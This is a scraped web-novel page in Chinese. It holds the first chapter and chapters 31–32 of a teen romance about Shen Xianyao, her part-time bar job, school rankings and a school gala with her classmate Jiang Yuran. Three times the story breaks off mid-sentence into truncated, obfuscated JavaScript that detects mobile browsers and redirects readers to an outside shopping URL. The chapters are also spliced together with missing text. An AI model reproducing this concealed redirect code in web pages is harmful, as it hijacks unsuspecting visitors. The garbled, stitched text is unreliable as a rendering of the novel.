《声色浪漫[破镜重圆]》 1. 第1章 《声色浪漫[破镜重圆]》全本免费阅读 “你就是刚刚打电话的那个女孩?” “嗯。”沈羡瑶如实应道,手撑着桌台边缘,指尖来回碾动,泛白的指腹留下几个浅浅月牙痕迹。对面忙着翻找什么一时没应答,多亏屋内较有存在感的爵士乐声横亘在两人间消解了些许沉默的尴尬,眼神不知道该落在哪里,她索性垂下眸子,盯着自己那双泛黄的白鞋抿紧嘴唇。 “名字?”男人停下手中动作重新向她看来。 “沈羡瑶。”她尽量将音节咬得清晰。 “哦,沈...小姐,”吧台后的男人有些迟疑地叫出这个称呼,显然是觉得说不出的别扭,片刻后还是果断改口,继续轻笑道,“小妹妹,叫我Mark就行。” 他其实比沈羡瑶要高出近两个头,可惜横向发展的身材实在将整体视觉效果压缩不少,头顶发量稀疏,花衬衫,七分裤,戴着副江湖骗子似的圆框墨镜,乍一看还真跟这略显小资的环境格格不入。 沈羡瑶主动开口,将身份证怼在他眼前:“我已经满十六了。” Mark墨镜下滑到鼻梁,露出一双狭小精明的眼睛,仔细盯着上面年龄端详了会儿,又将她从头到脚慢悠悠打量了一遍。 不得不说,长得确实养眼。 “都什么时间能来?” 沈羡瑶心中一喜:“今天能到九点半。” “噗——”话还没说完,Mark喷出半口水,哭笑不得,他指指头顶写着15°C的灯牌,说话都带了点莫名口音,“老妹儿,你要不要看看我这是什么地方,九点多正是人多的地方,客人屁股都没坐热吧。” “我还没说完。” 她微微蹙眉,深吸一口气道:“周二周四六点到九点半,一三五能到十二点,更晚也没关系,周末也可以听你们这边安排。我能吃苦不矫情,学东西快,音乐上也懂点。”她努力提高音量让自己显得底气更足,好像先前在门口徘徊犹豫的那十几分钟不存在过。 晨星五点半放学,高一高二不强制晚自习,妈妈要常去雇主家有时直接睡在那里,她瞒得住。 Mark“哦”了声,拿出刚才翻出来的合同。 “整这么麻烦,这样吧,你一周挑五天来,时薪二十块。音乐这方面倒还轮不到你帮忙,大概就是调调饮料打收拾下卫生,给顾客送餐饮,眼里有点活,没什么问题就签个字吧。” 沈羡瑶大致扫了眼合同,在末尾处签下了自己的名字。 等待的功夫,她缓缓扫过周围环境。15°C是这片有名的清吧,因格调氛围和优质驻唱艺术家吸引了不少顾客,时不时会有乐队和livehouse演出,不少音乐人和作家都会把这里当作谈事情的地点。 装修简约偏小资,吧台后有一堵摆满各种酒水的漂亮墙面,在暖黄灯光折射下显得五光十色的绮丽,投射在幕布上的老电影台词和音乐声交织在一起。她的家乡普华没有这种地方,曾经开过一家略有格调的咖啡馆,也只在刚开业时热闹了几天,然后逐渐变得萧条,最终彻底黄掉。 这个时间还不算人多的时候,只有几个衣着靓丽的漂亮女孩坐在最外侧的卡座。沈羡瑶原本想脱了灰外套,在冷空气接触肌肤的一瞬又默默穿了回去,拉上拉链,挡住了里面T恤的滑稽黑色字母。 相比清吧内昏暗温暖的氛围,大部分光亮都集中在最里侧的舞台,隐隐透着迷蒙的粉紫色,让人很难不注意到,一直不间断的音乐声也来自于那里。 台上有五个人,乐队的形式,各自演奏着相应的乐器,雅马哈电子琴、架子鼓、贝斯... 沈羡瑶不是很熟悉这首曲子,却也不自觉跟着节奏轻轻晃了晃肩膀,正巧与位于台子中心的主唱女生四目相对,有些不好意思地抿嘴笑笑,释放出友善信号。 身边卡座上女生的交谈也钻入耳中。 “这是哪个乐队啊,我没什么印象,你知道吗?” “哦,他们是老板请来的一个临时拼盘乐队,只在这里会一起演出,其余时间应该都是各干各的,有自己的事情要忙。” “怪不得我看着挺眼生,你别说,水平还是很OK的,不输现在那几个有名的乐队啊。”女生压低嗓音,冲着同伴挤挤眼睛,“那个吉他手,好像还挺帅的,我盯他好久了。” “要不说你是我姐妹呢,我老早就注意到他了,连着蹲了三天,可惜别说聊上几句,都没打过几次照面,瞅着也是个不好相处的。” 女生撇撇嘴,没忍住又往台上瞄了几眼。 沈羡瑶顺着几人目光看去,很快就精准定位了她们口中的“吉他手”。少年穿着深灰色兜帽卫衣,额前几撮黑发从压得不算实的兜帽探出来,隐隐挡住部分眼睛,显得随性。一束冷白的光打在其身上,他低着头,看不清面容,随着音乐节奏拨弄电吉他弦,修长灵活的手指比近185的个子还要惹眼些。 她站在原地一时盯得入神,碰巧少年掀起眼皮,向着她的位置看来,不偏不倚地和她略微放空的目光撞个正着。 两秒过后,他率先移开视线。 “7号卡座客人走了,去收拾一下。”Mark努努嘴,给她递了个眼神。 沈羡瑶左手拿起清洁工具,右手拎起和那堆东西放在一起的粉色兔耳朵发箍,蹙眉发问:“这是?” Mark咧嘴一笑:“可爱不?还有紫的和白的,你看你喜欢哪个自己挑下。” “...能不戴吗?”她露出些许为难神色。 “你不是不矫情吗?”Mark抬头瞥了眼她,一副你自己看着办的表情。 她张了张嘴,终是没说什么,默默去收拾桌子。废弃纸巾和剩下些边角料的甜品一并归入黑色垃圾袋,来回跑了两趟,拿着抹布仔仔细细地将玻璃桌擦得微微反光,杯盘也放到水池准备过后洗净。她能感觉到Mark一直在用余光打量着她,像是在对她的工作做一个初步检验。 七点过后,客人愈发多了起来,沈羡瑶被迫开始连轴运转,尽管她对于一些工作内容还处于尚未熟悉的阶段。 “做的不错,今天算是试用,我这儿刚好还剩点客人给的纸钞,等会直接把今天的钱给你,以后的工资月结,转你微信里。” Mark说着发送了好友申请,沈羡瑶如释重负地舒了口气,改掉备注,嘴角上扬起一个浅浅弧度。 发票机吐出一张新纸片,她歪头盯了两秒,一只手将手机揣进兜里,另一只手接过Mark推至眼前的青柠莫吉托,走向九号卡座。 刚刚那个弹吉他的少年不知道什么时候从台上下来了,弯着身子一条腿跪在地面,将吉他放进保护箱包,拉上拉链。 “您点的青柠莫吉托。” 见他没反应,沈羡瑶又检查了遍发票,确认自己没找错。 “谢谢,放桌上就行。”拉链拉至末梢,他随口应了声,拍去膝盖上的浮灰起身,抽出张湿巾慢条斯理地擦拭手指,掀起眼皮向前看来。 沈羡瑶的目光不得不由俯视一路转为仰视。 她这才看清眼前的少年。 长相偏锐利,精致得恰当好处,右眼角有一颗淡淡泪痣,眸色在光影幢幢中明灭不定。 “学生?”江昱然盯着她将饮品放在桌上,不咸不淡道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852705|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯光重新亮起。六寸草莓蛋糕摆在桌中央,散发着诱人香气。陆洋阳迫不及待地想拿纸盘分蛋糕,却一把被江昱然拍掉罪恶的爪子。 “寿星分。” 她弯弯眼角,大度道:“没关系,大家一起分着吃吧,还省事点。” 周爷爷在后厨看向欢声笑语的几人,眼角细纹又多了一些。 吃饱喝足,几个男生跑去上厕所,店里就剩下沈羡瑶和宋静雯两人。宋静雯忽地睁圆眼睛,抻着脖子盯住她颈间的项链——是她特意戴上的。 “我的天,瑶瑶你一夜暴富了?买这么贵的项链。”宋静雯啧啧称奇,“不过你眼光确实好,这也太适合你了。” 沈羡瑶心里“咯噔”一声,下意识扶上项链吊坠,压低嗓音道:“别人送我的,很贵吗?他说是在路边小店买的啊。” “开什么玩笑,这一看就是去专柜特意买的,这色泽质感不可能是假货,正版四位数呢,我攒了好几个月零花钱都没舍得买,你那朋友可真能忽悠你。” 厕所里的江昱然打了个喷嚏。 深夜,沈羡瑶在被窝里辗转反侧。男生通常都喜欢什么礼物呢?键盘,香水,手办?她在购物软件检索相同价位的物品,在输入付款密码时犹豫许久,最终放下手机,阖紧眼睛长长地叹了口气。 隔天上学时,她主动找到江昱然,将那条项链还给了他。 梧桐树生长出新叶,皮青如翠,叶缺如花,渗透着阳光的温度和草木的清香,翻涌成一片鹅黄嫩绿的海洋。两人站在树下,影子隐匿在树荫里。 江昱然的目光从手中的项链慢慢移向沈羡瑶的眼睛,力度逐渐收紧,表情似是有些受伤。半晌,他轻声道:“你明明说你喜欢。” 沈羡瑶低垂的睫毛微微颤动,心底也泛起一片酸涩:“我确实很喜欢,但我意外知晓了它的真实价格,我明白你是不想让我有顾虑才说是在路边小店买的,但这对我来说确实太贵重了。” “我送你项链只是因为觉得它很漂亮,很适合你,你也值得拥有这样的礼物。我并没有觉得它有多么贵重,更没有要求你以后回报我什么。”他语气有些急切。 “我知道,”沈羡瑶深吸一口气,鼓起勇气看向他,“我都知道。” “昨天晚上我找了很多相似价位的礼物,想要以后找机会送给你,但最后付款的时候我却犹豫了,因为我深深清楚这远远超出我的能力范围。项链对我来说并不是必需品,我也不想为了回礼硬撑着花掉自己辛苦攒下的一大半钱。你的心意我很感动,也很喜欢,如果这样的举动伤害到了你,我真的感到特别抱歉。” “但至少现在的我,没有办法心安理得地接受这样一个贵重的礼物。” 江昱然攥着那条项链,久久没有言语。 晚上刚回到家的时候,沈羡瑶却收到了江昱然发来的消息。 [图片] [怎么样?] 图片的内容是一个盆栽,最中间的木头桩子上坐着个小猫摆件,向四周延展出绿油油的叶片,看起来可可爱爱的。 她发送了一个哇哦的表情包。 [喜欢吗?那等我上学带给你。] 她卧蚕明显了些,打趣道:[喜欢,但不会又是你从哪搞来的名贵物种吧。] 江昱然发过来一个无语的表情。 [这个真不贵,它叫巴西木,又名幸运木,挺好养活的但很难开花,听说一旦开花,就代表遇到了此生挚爱。]他一本正经地科普道。 [这么神奇?不过我可是植物杀手,要不放在你工作室里养吧?] [哦,让我睹物思人。] [是为了净化你工作室的空气。] [我谢谢你哈。] 过了半晌,手机又弹出新的消息。 [在我这儿送出去的礼物没有收回来的道理,项链我先帮你保存着,你随时可以拿回来。] [等你真正愿意接纳它的那一天。] 31. 第 31 章 晨星教学楼前的电子屏又变得热闹起来,循环滚动高三最后一次模拟考试的光荣榜。排名基本上没有特别大的变化,高三学长们都淡定地在教室埋头复习,倒是高一高二的学生好奇地将电子屏围了个水泄不通。 宋静雯啧啧感叹道:“柴柒学长又是第一啊,这妥妥清大吧?” “文科生竟然能考到快七百分,简直恐怖。” 这个如雷贯耳的名字并不陌生,沈羡瑶看向众人目光中心的那张照片——五官恰当好处的端正,一派光风霁月的高岭之花模样,只是那一双蕴含笑意的桃花眼减弱了些许距离感。她不知怎的就突然想到这样一句话,眯眯眼都是怪物。 还有不过两天,月考成绩就要出来了,她不禁又多了几分羡慕和佩服。 她还在细细端详那张照片,身边的宋静雯就一脸贼笑地怼了怼她:“都说学生时期的女孩子喜欢的不过就是三种类型,高岭之花学神、痞帅痞帅的校霸,以及阳光开朗的幽默男孩。” “沈羡瑶同学,请pick你的最爱。”宋静雯一本正经地将拳头递到她嘴边当麦克风。 她笑着拧了一下宋静雯的胳膊,拒绝回答:“你以为这是非诚勿扰啊?” “切,那我可要再问问,你觉得是柴柒学长帅,还是你同桌江昱然更帅一点?”她满脸八卦和期待地向前凑去。 沈羡瑶一时噎住。 “他俩类型又不一样,这怎么比...”她轻声咕哝着,耳根子莫名烧红几分。 “休想糊弄过去,我可是能从你的微表情里看出端倪的哦。”宋静雯化身柯南,警告道。 她歪头想了想,眼角余光却突然掠过一道熟悉身影。江昱然拎着瓶橘子汽水,慢悠悠地往教学楼走,脚步却刻意放缓,显然是将她们的对话听了个七七八八。 沈羡瑶忽地就勾起一点坏心思,眼珠子溜溜地转了几圈,嘴角不明显地偷偷弯起条弧度,沉吟道:“唔,我觉得...柴柒学长更帅吧。” 那道身影一顿,然后默默拐进教学楼,背影看着莫名有点灰扑扑的。 耳畔传来宋静雯夸张的大叫:“真的啊?没想到你是这样的瑶瑶!” 她险些失聪,默默拍了拍自己的右耳。 两人去小卖部买了两根老冰棍,坐在梧桐树下啃起来,冰冰凉的甜水在嘴巴里化开,跟开了空调似的,牙齿直打冷颤。 陆洋阳欢脱的身影突然出现在视线内,拍着圆滚滚的篮球,和一群朋友勾肩搭背地往操场赶。 “感觉他从来没有烦恼一样,每次看到他笑嘻嘻的模样就感觉莫名的心情好。”沈羡瑶啃着冰棍,含糊不清又略带艳羡地感叹。 宋静雯盯着他远去的背影,只是点点头,却忽地陷入沉默。 良久,她突然开口:“前几天我们聊八卦,我跟你坦白我有了喜欢的人,却没跟你说这个人是谁。” 沈羡瑶一愣,顺着她的目光看去,嘴巴微微张大。 宋静雯看出她难以掩饰的错愕,坦然一笑,算是承认下来。 “...可是你之前说过,他这样的不是你喜欢的类型。”沈羡瑶温吞地组织语言,只觉得脑子里一团乱麻,“而且,你们不是总是怼来怼去的吗?” 她捡起地面的小树枝,在身旁的空地勾勾画画,少见的一副扭捏模样:“原则上是这样,但我发现,当你真正遇到喜欢的那个人时,什么理想型都不算数了,眼里只能看见他。是不是很神奇?” “最开始,我发现我总是忍不住想怼陆洋阳,或者说刻意找他茬,有段时间我甚至一度认为自己讨厌他。”她轻笑一声,“可后来...我突然反应过来那不是讨厌。” 宋静雯默了许久,缓缓道:“可当我意识到这一点时,我才发现,我已经好喜欢好喜欢他了。” 沈羡瑶不知道该说些什么,只是安静地倾听。 “更悲催的是,当我蠢蠢欲动试图开始进攻的时候,却发现他好像有喜欢的人了,而那个人不是我。而且,显然我很迟钝,身边已经有好些同学早都看出来了,我能感受到他们在偶尔起哄,我只能装作大度地跟他们一起调侃,但我一点都不开心。” 她仰起脑袋看向天空,嘴巴有些吃味地撅起:“我有时会看见,陆洋阳跟陶早放学一起回家,挨得不远不近,正正好好是暧昧的距离。他会特意弯下腰听陶早说话,我从来没见过他那样拘谨温柔的样子,而他们甚至不顺路。” “我不止一次地偷偷将自己和陶早放在一起比较,然后就更难过了。我长得不如她好看,学习没她好,也没有她那么多才多艺。硬要说的话,额,话比她多?哈哈,这算得上是优点吗?天,这么一看,除非是眼睛瞎了才会选我吧。” 她垂头丧气地说着,脸却被人一把捧住。转头一看,沈羡瑶眉头因为生气微微拧在一起,毫不手软地来回揉搓她可怜的脸蛋:“我不允许你这么说自己!” 宋静雯乐了,拍掉她的爪子:“好啦,我是谁啊?没心没肺的宋静雯诶,我早就自己调理好了。” “我长得不说多惊艳,但至少算顺眼吧。性格好,对朋友仗义,文采好,说干就干执行能力强。”她头头是道地说。 “不仅如此,和你在一起非常有安全感,做什么都开心。你就像小太阳一样温暖着身边的每一个人,时不时还有许多奇思妙想,热情大方又古灵精怪的。”沈羡瑶顺着她的话喋喋不休。 她嘴角快咧到太阳穴,猛地起身,昂首挺胸:“没错,姐也不差啊,才不要为了个臭男人自怨自艾呢。” “不仅不差,而且超级无敌优秀。”沈羡瑶默默补充。 沈羡瑶悄悄抬眼看她,小心试探道:“...那你现在还喜欢他吗?” 她想了想,又有些蔫头耷脑地坐回来,大方点头承认:“喜欢,还是很喜欢。” “只是没有以前那样执着了吧,也少了那种想不管不顾跟他在一起的冲动,甚至...就算他跟陶早真的有情人终成眷属了,我好像也能做到真诚祝福。” “不过,”宋静雯话锋一转,“我还是希望他们不要那么快地在一起,至少高考前不可以吧!” 沈羡瑶打趣她道:“如果在一起了呢?” 宋静雯噎住。 半晌,她憋红脸来了句:“那,那我就去举报他们早恋!” 两人对视一眼,又默契地笑成一团。 回到教室,班级里的人还没回来全,窗外阳光虽算不上毒辣,但依照睡觉的标准也足够晃眼。沈羡瑶将遮光性最好的蓝色窗帘拉严实,心满意足地趴在布满光滑阴影的桌面打了个哈欠,额前突然大剌剌伸过来一只手,又将帘子扒拉开。 她眯着眼睛轻嘶一声,就看见江昱然冷脸坐在旁边,腰板挺得笔直,一副憋了满肚子话但非要等她先问的模样。 她将他赌气的原因猜中了个七七八八,偏偏不遂他的心意,慢条斯理地将窗帘拉了回来,努力抑制住上扬嘴角。江昱然顿了瞬,再度将帘子拉开,只是明显动作和速度都犹豫心虚不少,时不时看她的眼色。 赤.裸裸地刷存在感。 沈羡瑶存心要整他,权当什么也没看出来,干脆也不睡了,拿出练习册刷起题。 “...你不睡了?”江昱然见她没反应,终是开口问道。 “你也没有让我睡觉的意思啊。”她埋头写着题,淡淡回。 他没吭声,也掏出和她一模一样的练习册。 她认真想了想,这次到底是自己先招惹他的,还是给个台阶下比较好。于是她圈了道题,将练习册推到江昱然眼皮子底下,拿笔轻轻点了点。 “解析太简短了,没看懂。” 谁知江昱然还硬气起来,眉梢微微一挑,慢悠悠地靠回椅背:“你怎么不找柴柒学长教你,他人长得帅不说还温柔,学习也好。” 酸味飘出十里远。 “有道理,”沈羡瑶不接招,顺着他的话若有所思道,“我听学姐说他脾气超好,讲题也很有耐心,就是不知道他现在忙不忙。” 江昱然一副吃了苍蝇的表情。 “...那肯定忙啊,他,他都快高考了能不忙?”话都说不利索。 “他那么厉害,该复习都已经复习的差不多了吧。”她憋着笑,作势真要起身。 手里的练习册却被人生生截了去,江昱然绷着脸,干巴巴地讲道:“f''(x)=2ax+1/x=2ax方+1/x,a 见沈羡瑶一副没反应过来的模样,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12871689|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气不过,攥住她一条凳子腿,愣是将她连人带椅子拽到自己这边。 “你在听没有?” 好嘛,在窝囊和生气之间选择了窝囊地生气。 她点点头,集中注意力。 一题讲完,江昱然将练习册还给她,趴在桌面将脸别过去。 沈羡瑶归弄着桌上的物品,终是哄道:“其实我没觉得柴柒学长比你好看,只是他确实很厉害,比我们高一级,我尊重他也佩服他。” “没觉得他比你好看巴拉巴拉...”他自动屏蔽后面的话,声音埋在臂弯间有点闷闷的:“所以你觉得我比他长得帅喽?” “你也可以这么理解。” 江昱然没落声,从鼻腔溢出道轻哼,嘴角却诚实地翘起。 - 光荣榜前乌泱泱挤满了人,月考成绩新鲜出炉,成绩条还没下发给各个班级,年级前十已经赫然换了上去滚动播放,考的好或不好的都喜欢去那里观摩一圈,俗称“朝圣”。还有人在每张照片展示出来时,双手合十嘴里念念有词,说要沾沾成绩,跟拜菩萨似的。 宋静雯拉着沈羡瑶就往里挤,也只勉勉强强站进第三层。理科前十几乎被四班包揽,照片都是老熟人,每换一张就引起一小阵起哄。 “流水的第一第二,铁打的江昱然,”宋静雯哑然失笑,感叹道,“你说他成绩这么稳定,怎么就不见考个状元。而且,我觉得这张照片拍得没他本人好看。” 沈羡瑶弯弯嘴角,却也为他感到开心。 不知怎的,她心底突然升起一股特别的预感,随着排名的更替越来越强烈。 人群没预兆地安静一瞬。 然后,从离光荣榜最近的里层到最外围,掀起渐变浪涛,交头接耳声愈来愈大。 沈羡瑶盯着屏幕愣在原地,身旁是欣喜若狂疯狂摇着她胳膊的宋静雯。 第九名:沈羡瑶。 陶早站在远离人群的地方,将光荣榜从头到尾浏览了一遍,直到在文科的第九名看见了自己的名字。 “你忙着比赛这段时间都没怎么回学校,进前十已经很厉害了。”身旁女生看见她不咸不淡的表情,以为她是不满意,忙不迭安慰道。 她没说话,默默看向仍傻傻怔在原地的沈羡瑶,用目光无声地将她的背影细细描绘。不知道从什么时候起,她从一开始连沈羡瑶的脸都记不住,到现在将她名字的每个笔画都深深烙印,甚至闲暇之余总会猛地在脑海里闪过。 心底生出几分从未有过的奇异感觉,她很难形容,危机?好奇?嫉妒? 她讨厌这样的感觉,却并不排斥。 手心汗津津的,沈羡瑶的目光从第九名慢慢滑到自己的姓名,最终落在那张照片,甚至什么时候照的已经没印象了。照片里的她在镜头前仍有几分拘谨,只是简单地站在那里连一个剪刀手都没有摆,青涩中透着点倔强,和现在站在光荣榜前的她隔着屏幕遥遥相望。 周围的声音从模糊又慢慢变得清晰,她听到自己的名字被无数个陌生的声音喊出。 “沈羡瑶?从来没听说过啊,突然从哪杀出来这么个神仙妹妹?” “黑马啊,这是她第一次进前十吧?” “好像这次晚会的总导演就是她,忙着准备晚会还能考这么好,不容小觑啊。” “就是她?我说这个名字怎么这么熟悉。” 不知道是谁指了一下,站在前面的同学纷纷转头去看,各异目光的聚焦中心处,沈羡瑶慢慢站直了身体,昂首挺胸。 “她就是沈羡瑶?” “好厉害啊。” “咱们晨星还真是卧虎藏龙,看来乾坤未定,你我皆是黑马。怎么突然燃起来了哈哈哈哈。” 暖阳透过树叶缝隙投下浮动的光斑,天空好像更蓝了些,连一丝绵白云朵的痕迹都找不到。沈羡瑶忽地感受到一道特别的目光,她凭着直觉向左后方看去,和不远处靠在树干的江昱然四目相对。 细碎阳光落入他眼眸,衬得亮晶晶的,校服一角被风吹起,他仍旧冲她扬起少年气的张扬笑容,张嘴一字一句地说着什么。 沈羡瑶仔细辨认他的口型。 他在说: “漂亮啊,沈羡瑶。” 32. 第 32 章 下午的第一节自习课改成了班会,但对于四班的大部分学生来说,只不过是讲台上多了些干扰注意力的杂音。今天的班会主题却似乎跟以往的形式主义不太一样,只见林澍拉开黑板,第一页PPT写着几个醒目大字:橘子不是唯一的水果。 沈羡瑶写题的笔尖一顿,悄悄碰了碰江昱然的胳膊肘:“你读过这本书吗?” “看了一半,”他点点头,倒是实诚地承认,“但有点没看进去,云里雾里的。” 她哑然失笑,将目光重新投回讲台。 林澍清清嗓子,语气是他少有的严肃:“大家都知道,前不久高三的三模结束,也就是说,还有半月出头的时间,你们的学长就要迎来真正的高考。而明年的这个时候,将要奔赴战场的就是在座的各位。” 相当经典的开场白,教室里的气压一时都低了些。 他缓缓扫过座位上的每一个同学,却忽地弯弯唇角,话锋一转:“但今天,我想聊点别的。” 众人一怔,不约而同停下了手中的事情。 “作为四班的学生,在这样的时刻,我想我已经没有必要再跟大家一遍遍强调努力和自律。比起老生常谈的学习话题,我更想聊一聊你们的将来,以朋友的身份。” “其实你们这个年纪,对自己人生有清晰规划的反而是少数,大部分人都还处在迷茫的阶段,只是在父母老师的督促以及社会的规劝下被推着向前走。虽然我跟李主任常常把高三是你们人生最关键的一年这种话挂在嘴边,但其实也都是为了让各位重视紧张起来。我们都明白,人生不止高考这一道关卡,就算有的同学赶路和通关的速度要比别人慢一些,完成得或许也不是那么漂亮,但你们精彩的人生才刚刚开始,风华正茂,前路漫漫。” “在距离高考还有一年的时候,同学们不妨想一想自己将来想做什么,也不用着急交出答案,慢慢摸索适合自己的方向,平凡而安足地过完一生也是了不起的梦想。” “虽然高考确实对于绝大部分人来说,是你们一生之中最公平的考试,也是通往世俗意义上的成功的最佳捷径。” “我仍旧希望各位明白,围墙坍塌,原来外面还有别的世界,命运,还有别的可能。而橘子,从来都不是唯一的水果。” 林澍给每个人发了一张信纸:“这封信,你可以写给自己,也可以写给朋友或是其他想写给的人。等到明年的这个时间,再把它拆开看,也许会有不一样的体悟。” 沈羡瑶将信纸摊在桌面捋平整,正摁着笔盖思索的功夫,却像是感应到什么,转头便从江昱然的眼瞳中瞧见了自己。两人皆是微微一笑,略加思索,她转动手腕在纸张的开头郑重写下几个字。 致江昱然: - 一回到家中,沈羡瑶连鞋子都没来得及摆放好,就不管不顾地摊在床上,变成派大星模样。今天晚会从头到尾走台彩排,距离正式的演出只剩下最后三天,除了成果即将展现给大家的兴奋和期待,更多的是担心自己搞砸的压力与忧虑。她有时也觉得自己太钻牛角尖,可面对这样梦寐以求的机会,她太想事事做得完美。 踩着拖鞋走出房间时,沈如晴正在给家里仅有的一盆君子兰浇水,翠绿的叶子被养得肥厚肥厚的。 听到脚步声,她提着水壶转头去看在原地发呆的沈羡瑶:“怎么还不睡觉,洗个苹果吃吧?” 沈羡瑶摇摇头,温吞扶着桌角坐下,忽地轻声道:“妈,你有想过我将来要做什么吗?” 她仍照看着心爱的君子兰:“想做什么做什么喽,你先别想这些杂七杂八的,等高考考出个好成绩,以后的选择多的是,到时候妈找专业的人给你填志愿。” “我还是想考江大。”沈羡瑶犹豫一瞬,终是说。 她怔了瞬,晒然一笑:“好啊,江大好啊,我女儿是个有志气的。只不过,你现在的成绩不是还差一点嘛。能考上肯定是最好,考不上咱就冲一个稳妥点的985。” “嗯,但现在的门路有很多,不一定只死盯着高考这一条路,只顾着埋头学习。” “...什么意思?”沈如晴这才停下来,瞳仁晃了晃,“你,你不高考啦?”声音都带着丝颤抖,她第一反应是沈羡瑶在学校受了什么委屈,忙不迭上前两步。 “妈,我想艺考。”她鼓起勇气,一口气说出来。 沈如晴眨了眨眼睛,显得迷茫:“艺考?要交什么钱吗?”双手交叉着垂落,不安又局促地来回抠着指甲。 “就是报名费和去考试的路费,其他的不需要什么钱了,我也不打算报培训班什么的。我就是想试试,江大的广播电视编导专业很有名,如果能拿到合格证,我现在的分数上江大非常稳。” “广播电视编导?以后出来能干什么啊?” “影视传媒,网络新媒体什么的,我目前的规划是舞台导演。” “导演?”沈如晴愣了愣,声音变弱,“好像也挣不了什么钱...” “但我喜欢,”提到喜欢的事物,沈羡瑶眼里跃动着星点光芒,“而且,任何一个行业做到头部都会很挣钱的。”她信誓旦旦地讲着,是少年人珍贵而赤诚的满腔热血。 她拉着沈如晴兴致勃勃地与她说起自己的规划与展望,满是对未来的憧憬,她很少有这样话痨的时刻,只觉得有说不完的话要讲。 沈如晴怔怔地盯了她许久,只是轻轻点头:“好,你喜欢那就做吧。” 还在喋喋不休的沈羡瑶戛然而止,像是被突如其来的巨型馅饼砸中,半晌说不出话。这,这就同意了?天知道她准备了多少说辞和思想工作。 沈如晴看她这副模样,低笑道:“如果我不同意,你就会放弃吗?” 她将嘴巴抿了又抿,不好意思地摇摇脑袋,也跟着笑出来。 “是了,这就是你,倔驴一样但又一往无前的沈羡瑶,你不是那种想一出是一出的孩子,但凡决定好的事,就会想尽办法去完成。” “妈妈一直很抱歉,没能让你出生在一个能给你强大支撑的美满家庭,没能成为你的底气,甚至有时还要让你反过来操心家里。包括你要艺考这事,妈妈也帮不了什么。”沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902170|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如晴低垂着脑袋,轻轻说,诚恳又无奈。 “怎么会,”沈羡瑶鼻头发酸,靠在沈如晴肩膀轻而缓地蹭动,“你永远是我一往无前的底气。” “妈妈,周五我们校庆晚会,我是总导演,你来看吧。”直到现在,她才跟沈如晴说了晚会的事情。 她舔舔嘴唇,道:“好多媒体都会来,如果我搞砸了,你会不会觉得很丢脸。” “怎么会,”沈如晴学着她刚刚的话,“你是我的女儿啊。” - 午后的太阳正是热烈,阳光映得白墙金灿灿,风穿透香樟树四面八方舒展开来的枝桠,奏响夏日的号角。 礼堂后台空间有限,节目靠后的同学都在自己教室里准备妆造。沈羡瑶占据一个小小的角落,将不时有碎叶落进来的窗户关上,捧着散粉微不可闻地叹了口气。 江昱然敏锐地捕捉到这一丝轻叹,开玩笑道:“怎么,我有这么难画,不应该啊。”他正坐在椅子上,一副任人宰割的模样。 “那倒也没有,只不过我确实是第一次给男生化妆,技术有限。”她将江昱然的脑袋掰过来又掰回去,拿起粉扑毫不客气地在他脸上定妆。 只差最后的口红,沈羡瑶在心底舒了一口气,暗自庆幸不说锦上添花,至少没有毁了江昱然这张顶好顶好的脸蛋。她让他靠在椅背,自己弯下腰,拿起唇釉,小心翼翼地涂在他的嘴唇。 左手指尖扶住他微微昂起的下巴,唇釉刷头轻轻抚过唇瓣,酥酥痒痒的,不一会儿就化作哑光雾面,变得艳红。 “会不会有点太红了?”江昱然有些不习惯,别扭地小声抗议。 “好像是有点,”沈羡瑶没憋住笑,“不过舞台的灯一照,应该刚刚好。” 她说着用食指指腹蜻蜓点水般沾上他唇珠,好让颜色抹得更均匀些,她原本还在专注着手上动作,却也不禁越来越迟疑,直到和江昱然认真的眼眸撞了个正着。 直勾勾,湿漉漉。 他穿着纯白衬衫,脖颈处系了条蓝灰领带,是他们两个一起挑的。双腿因为方便沈羡瑶动作微微敞开,正正好好将她整个人圈在中间,她弯着腰手还停留在原地,这才发现彼此的距离有些过分的近,甚至只差一点点,就能感受到交缠而克制的鼻息。 她的眼神落在他眼角的那颗泪痣,有一瞬恍然,江昱然的嘴唇忽地就变得灼烫灼烫的,她一个激灵缩回手,险些没站稳。 预想中的狼狈和疼痛并没有到来,后腰被稳稳托住,整个人落入臂弯中,陷进佛手柑织成的细密蛛网,腰窝和掌心贴了个结实,传来滚烫温度。 痒酥酥,晕乎乎。 只是片刻的怔愣,两人都变得慌乱起来,沈羡瑶逃似的挣脱意外的桎梏,收拾起一旁的化妆包,看起来很淡定,如果不是脑袋就没再抬起来过的话。 四点半,离晚会开始还有一个小时。 沈羡瑶盯着墙上嘀嗒转的钟表,深吸一口气,和起身整理着装的江昱然相视而笑,一切尽在不言中。 